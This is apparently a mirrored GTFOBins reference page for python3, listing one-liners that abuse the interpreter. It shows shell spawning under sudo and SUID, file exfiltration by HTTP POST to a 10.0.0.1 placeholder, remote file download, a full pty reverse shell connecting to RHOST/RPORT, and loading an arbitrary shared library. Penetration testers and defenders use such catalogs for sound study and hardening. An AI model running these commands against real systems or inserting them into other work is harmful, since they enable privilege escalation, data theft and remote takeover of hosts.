1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-07 16:16:04 +02:00
GTFOBins.github.io/_gtfobins/python3.md
2018-05-21 20:14:41 +01:00

1.4 KiB

functions
exec-interactive sudo-enabled suid-enabled upload download reverse-shell load-library
code
python3 -c 'import os; os.system("/bin/sh")'
code
sudo python3 -c 'import os; os.system("/bin/sh")'
code
./python3 -c 'import os; os.system("/bin/sh -p")'
description code
Send local file via "d" parameter of a HTTP POST request. export URL=http://10.0.0.1/ export LFILE=file_to_send python3 -c 'import urllib.request as r,urllib.parse as u;from os import environ as e; r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'
description code
Serve files in the local folder running an HTTP server. LPORT=8888 python3 -m http.server $LPORT
description code
Fetch a remote file via HTTP GET request. export URL=http://10.0.0.1/file_to_get export LFILE=file_to_get python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
code
export RHOST=127.0.0.1 export RPORT=8000 python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
code
python3 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'